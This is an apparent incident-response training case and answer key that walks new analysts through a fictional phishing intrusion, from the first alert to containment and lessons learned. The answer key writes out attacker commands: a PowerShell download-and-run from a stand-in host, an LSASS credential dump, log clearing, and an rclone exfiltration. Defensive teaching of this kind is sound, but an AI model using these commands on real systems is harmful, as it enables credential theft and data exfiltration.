Case 01: The overdue invoice
A practice intrusion, worked from the first alert to the lessons learned in the seven jon.glass tools. Every step runs in your browser, and everything here is made up: the company, people, hosts and domains are fictional, and the public addresses come from ranges reserved for documentation.
Level: new analysts. You should know what a process, a logon and a proxy log are; the case teaches the rest. Plan on two to three hours.
The call
It is Tuesday 13 October 2026, 16:20 UTC. You are the on-call incident responder for Kestrel Freight, a freight forwarder with about 60 staff.
- 15:38 The EDR raised a high-severity alert: FILE-01, the finance file server, uploaded a large amount of data to an address nobody recognises.
- 15:41 FILE-01’s Security event log was cleared.
- 16:05 The SOC analyst on shift traced earlier alerts to WKS-01, the laptop of Jamie Doe in finance, and isolated it from the network.
Finance has asked that FILE-01 stays online: it is month-end close. Your manager wants three answers by the end of the day: what happened, how far did it go, and is it contained?
The environment
| Host | Role | Address | Main user |
|---|---|---|---|
| WKS-01 | Finance laptop | 10.0.1.21 | jdoe (Jamie Doe, finance) |
| WKS-07 | HR laptop | 10.0.1.47 | amartin (A. Martin, HR) |
| WKS-02 to 05 | Staff laptops | 10.0.1.22–25 | bchen, jlee, kpatel, rlopez |
| FILE-01 | File server, holds D:\Shares\Finance |
10.0.2.15 | |
| DC-01 | Domain controller | 10.0.2.10 | |
| BKP-01 | Backup server; runs as svc_backup |
10.0.2.30 |
The domain is CORP (corp.example), mail is @kestrelfreight.example, and all web traffic goes through a proxy at 10.0.0.5:8080.
The evidence
| Evidence | What it is |
|---|---|
| email_gateway.csv | Every email the gateway handled that day |
| proxy.csv | Web proxy log for all hosts |
| edr_alerts.csv | The EDR alert queue, with each alert’s status |
| wks-01_evtxecmd.csv | WKS-01’s Security and Sysmon event logs, parsed with EvtxECmd |
| file-01_evtxecmd.csv | FILE-01’s System, Sysmon and (what is left of the) Security logs |
update.exe |
A suspicious file collected from WKS-01. It opens in Hexes; it is fake and harmless. |
You can download the CSVs and use your own tools too. The steps below open each piece in the right jon.glass tool for you.
Your case notebook
Tessera keeps the case in one place while you work: findings, the key events, indicators, scope, the evidence with its hashes, and every decision. It opens with what is known at 16:20. As you go, Mill’s Send to → Tessera adds the events you tag, and Hexes’ Add to case and Send to Tessera add the file and your bookmarks. Paste any alert or command line into its Indicators section and it pulls the indicators out.
At the end, Tessera’s report is your answer to the manager. It stays in your browser: export the case file to keep it, or to hand it in.
Step 1: build the timeline in Mill
Open the email, proxy and EDR logs in Mill
Mill merges the three logs into one UTC timeline. Zoom into the bursts, filter by host, and tag the events that matter.
- When did the phishing email arrive, who sent it, and who received it?
- Which EDR alert fired first? What happened to it?
- Filter the proxy log to WKS-01. What is it connecting to every minute or so, and since when?
- Which other host makes the same connections, and when did it start?
- Was anything still connecting after WKS-01 was isolated at 16:05?
Step 2: work the event logs in Shifu
Key events on WKS-01 Key events on FILE-01
Each link opens Shifu with that host’s event log and a recipe that keeps the interesting event IDs and drops known-good noise. Step through the blocks to see what each one removes, then press Open in Mill to add the result to your timeline from step 1.
- What did Jamie open, and what did it run? The command line ends in a long Base64 string after
-enc: decode it. In CyberChef, use From Base64 then Decode text with UTF-16LE. - How does the attacker survive a reboot on WKS-01?
- What did the attacker run to learn about the network, and what were they looking for?
- What happened at 14:05, and why does it matter for every account that had logged on to WKS-01?
- How did the attacker get from WKS-01 to FILE-01? Look for event 4648 on WKS-01 and the commands that follow it.
- FILE-01’s Security log was cleared, so its logon events are gone. Which other logs on FILE-01 still show what happened there?
- What was collected, how was it protected, and how did it leave?
Step 3: see the attack path in Spoke
Open the attack path in Spoke Build WKS-01’s process tree in Shifu
The first link is the whole intrusion as a graph: people, hosts, processes and addresses. The second builds WKS-01’s process tree from the raw log; open its result in Spoke and find the branch that does not look like the rest.
- Which hosts and accounts did the attacker touch? Which did they only look at?
- Two other people got the same email. Does anything show they opened it? What would you check to be sure?
Step 4: take apart update.exe in Hexes
- Hexes hashes the file as it opens. Find the same SHA-256 in the event logs. What two names did this file run under, and on which hosts?
- When was it built, according to its PE header? How does that compare with the phishing email?
- Strings: what can you learn without decoding anything? Look at the UTF-16 strings too.
- Decode: the configuration sits right after the text
cfg1:and is XOR-encoded with a single byte. Select it and try XOR brute force. What is in it? - Bookmarks: eight bytes after
kd:is a Windows FILETIME. Bookmark them. What date is it, and what might it be for? - Embedded: there is a file inside this file. Find it, carve it, and open it. What is it for?
- YARA: write a rule that would find this implant on other machines, using strings you found. Scan the file to test it.
Step 5: test the containment in Scrimmage
The Kestrel case scenario replays the attacker’s moves and the SOC’s single response: isolating WKS-01.
- What does Scrimmage say about containment after that response? Why?
- Reset, and find a defender sequence that actually contains the intrusion. What does it need that the SOC did not do?
Step 6: run the tabletop in Huddle
Run the Kestrel tabletop in Huddle
Huddle opens the case as a 60-minute tabletop on its Malware on Endpoint playbook, with injects that follow the same story. Run it with your team, or use it to plan your answer to the manager: containment, eradication, recovery and lessons learned.
- Write the containment plan for FILE-01, including how you make the case to finance.
- List the lessons learned: what would have stopped this earlier?
Finish in Tessera: write the summary, set the status of everything in scope, and export the report. That is your answer to the manager’s three questions.
Answer key
Show the full answers
Timeline (13 October 2026, UTC)
| Time | Host | What happened | Where you see it |
|---|---|---|---|
| 13:02:11 | “Overdue invoice 88412 - final notice” from accounts@kestrel-freight.example (a look-alike of kestrelfreight.example) to jdoe, kpatel and amartin, with Invoice_88412.zip. Rated suspicious (42/100) but delivered |
Email gateway | |
| 13:09:31 | WKS-01 | Outlook saves Invoice_88412.zip; at 13:09:38 Invoice_88412.pdf.lnk is extracted to Downloads |
Sysmon 11 |
| 13:09:40 | WKS-01 | The .lnk runs powershell.exe -nop -w hidden -enc …, which decodes to iwr http://cdn-update.example/s2.dat -OutFile $env:APPDATA\Microsoft\Teams\update.exe; Start-Process … |
4688, Sysmon 1 |
| 13:09:41 | WKS-01 | EDR: Encoded PowerShell command line (medium), closed as “benign (admin script)” | EDR |
| 13:09:42–43 | WKS-01 | DNS lookup of cdn-update.example; PowerShell downloads s2.dat (117,252 bytes) |
Sysmon 22, proxy |
| 13:09:45–47 | WKS-01 | update.exe written to C:\Users\jdoe\AppData\Roaming\Microsoft\Teams\ and started |
Sysmon 11, 4688, Sysmon 1 |
| 13:09:50 | WKS-01 | First beacon to 203.0.113.66:443, then every 60 seconds ± 20% |
Proxy |
| 13:11:02 | WKS-01 | Persistence: scheduled task TeamsUpdater, runs update.exe at logon |
4688, 4698 |
| 13:41–13:46 | WKS-01 | Discovery: whoami /all, net group "domain admins" /domain, nltest /dclist:corp, net view \\FILE-01, net user svc_backup /domain |
4688, Sysmon 1 |
| 14:05:12 | WKS-01 | Credential theft: rundll32 comsvcs.dll, MiniDump of LSASS to C:\ProgramData\d.bin (deleted at 14:20:58). Works because jdoe is a local administrator |
4688, Sysmon 1/11/23 |
| 14:05:13 | WKS-01 | EDR: LSASS memory read (high), still “new”: nobody looked at it | EDR |
| 14:21:30 | WKS-01 | Explicit-credential logon as CORP\svc_backup to FILE-01 |
4648 |
| 14:21:33–49 | WKS-01 | Copies update.exe to \\FILE-01\ADMIN$\Temp\kfupd.exe, creates and starts service KFUpdSvc with sc.exe |
4688 |
| 14:21:50–51 | FILE-01 | Service KFUpdSvc installed and running C:\Windows\Temp\kfupd.exe, same SHA-256 as update.exe. EDR alert at 14:21:52, “new” |
7045, Sysmon 1, EDR |
| 14:22:40 | FILE-01 | FILE-01 starts beaconing to 203.0.113.66 |
Proxy, Sysmon 3 |
| 14:27:10 | WKS-01 → WKS-07 | svc_backup used against WKS-07; dir \\WKS-07\C$\Users. No implant seen on WKS-07 in this evidence |
4648, 4688 |
| 14:46–14:48 | FILE-01 | 7za.exe downloaded from the C2; the finance share is packed into C:\Windows\Temp\fin.7z, encrypted with password K3str3l!2026 and hidden file names (-mhe=on) |
Proxy, Sysmon 1/11 |
| 15:23–15:24 | FILE-01 | rclone.exe downloaded; rclone.conf written; rclone copy uploads 431,233,024 bytes to 198.51.100.77:443 |
Proxy, Sysmon 1/11 |
| 15:38:02 | FILE-01 | EDR: Large upload to a rare destination (high), escalated | EDR |
| 15:41:08–09 | FILE-01 | wevtutil cl Security clears the Security log (event 1102) |
Sysmon 1, 1102 |
| 15:42:30 | FILE-01 | fin.7z, 7za.exe, rclone.exe and rclone.conf deleted |
Sysmon 23 |
| 16:05 | WKS-01 | WKS-01 isolated: its beacons stop | Proxy |
| to 17:30 | FILE-01 | FILE-01 keeps beaconing until the logs end | Proxy |
update.exe
- SHA-256
14b5a9523b3412a001857c3b2d6f668320032ab5511074fc44d2057d2ddb40c5, 117252 bytes. The same hash runs asupdate.exeon WKS-01 and askfupd.exeon FILE-01. - Built 2026-10-09 22:14:05 UTC (PE header), four days before the email.
- Strings: mutex
Global\kf-1013-mtx, a Chrome user agent,/api/v2/sync,TeamsUpdater,KFUpdSvc; UTF-16 strings for the LSASS dump path,comsvcs.dll, MiniDump,C:\Windows\Temp\kfupd.exeand\\FILE-01\ADMIN$. The implant carries its operator’s playbook. - Configuration after
cfg1:, XOR key0x37:c2=203.0.113.66:443;path=/api/v2/sync;sleep=60;jitter=20;task=TeamsUpdater;svc=KFUpdSvc;campaign=KF-1013;exfil=https://198.51.100.77/upload - Kill date after
kd:: FILETIME 2026-11-13 00:00:00 UTC, probably when the implant stops working on its own. It does not make the problem go away. - cfg2 (Base64, UTF-16):
schtasks /create /tn TeamsUpdater /tr "%APPDATA%\Microsoft\Teams\update.exe" /sc onlogon /f - Embedded ZIP at offset
0x3739holdingrclone.conf: a WebDAV remote athttps://198.51.100.77/upload, userkf1013. The exfiltration was planned before the intrusion began. - High-entropy block of 96 KiB: probably an encrypted next stage. Unknown without the key.
A rule like this finds it:
rule kestrel_kf1013_implant
{
strings:
$mutex = "Global\\kf-1013-mtx"
$cfg = "c2=203.0.113.66" xor(1-255)
$svc = "KFUpdSvc"
condition:
uint16(0) == 0x5A4D and 2 of them
}
Indicators
| Type | Indicator |
|---|---|
| Sender | accounts@kestrel-freight.example, look-alike domain kestrel-freight.example |
| Attachment | Invoice_88412.zip, containing Invoice_88412.pdf.lnk |
| Stager | http://cdn-update.example/s2.dat (198.51.100.23) |
| C2 | 203.0.113.66:443, path /api/v2/sync, ~60 s beacon |
| Exfiltration | 198.51.100.77:443 (WebDAV /upload), user agent rclone/v1.68.1 |
| Implant | SHA-256 14b5a9523b3412a001857c3b2d6f668320032ab5511074fc44d2057d2ddb40c5; update.exe, kfupd.exe |
| Persistence | Scheduled task TeamsUpdater; service KFUpdSvc |
| Mutex | Global\kf-1013-mtx |
| Tools | 7za.exe, rclone.exe in C:\Windows\Temp |
Scope
- Compromised: WKS-01 and FILE-01, both running the implant.
- Accessed: WKS-07, with
svc_backup. Collect and check it. - Credentials exposed:
jdoe,svc_backup, and anything else cached in LSASS on WKS-01 at 14:05. - Data stolen: the finance share, about 431 MB as an encrypted archive. You cannot list the files from the archive; work from the share itself and its backups.
- At risk:
kpatelandamartinreceived the same email. The proxy shows only WKS-01 fetchings2.dator beaconing, which suggests neither ran it, but you have no event logs from their laptops. Check their machines and purge the email.
Is it contained?
No. Isolating WKS-01 stopped one implant; FILE-01 still runs the same implant as a service and is still beaconing, and svc_backup still works. A sound plan:
- Block
203.0.113.66,198.51.100.77andcdn-update.exampleat the proxy and firewall now. It costs finance nothing. - Isolate FILE-01, or at minimum cut it off from the internet. Collect memory and disk first if you can.
- Disable
svc_backupandjdoeand reset them, plus every account cached on WKS-01. Give the backup job a new account that is not an administrator everywhere. - Remove the service
KFUpdSvcand the taskTeamsUpdater, and rebuild WKS-01 and FILE-01. - Hunt across every host for the SHA-256, the mutex, the beacons and the two persistence names.
- Purge the email, block the look-alike domain, and talk to legal about the finance data.
Lessons learned
- The first alert (13:09) was closed as an admin script without checking. Encoded PowerShell started by
explorer.exefrom a.lnkis not admin work. - The LSASS alert (14:05) sat unread for more than three hours.
jdoewas a local administrator, which made the credential dump possible.svc_backupcould log on remotely and administer FILE-01 and WKS-07: one stolen password opened the file server.- FILE-01’s Security log was not forwarded anywhere, so clearing it destroyed the logon evidence.
- The gateway delivered a “suspicious” email from a look-alike of the company’s own domain.
For instructors
The evidence is generated by cases/kestrel/_build.py, which writes the same files every time. update.exe is not a file on this site: Hexes builds it in the browser from ?sample=kestrel, so there is nothing for antivirus to flag and nothing that runs. If you change it, the script’s header explains what to update.
Each step stands on its own, so you can teach one tool per session. Steps 1, 2 and 4 are the core; Scrimmage and Huddle make good closing discussions.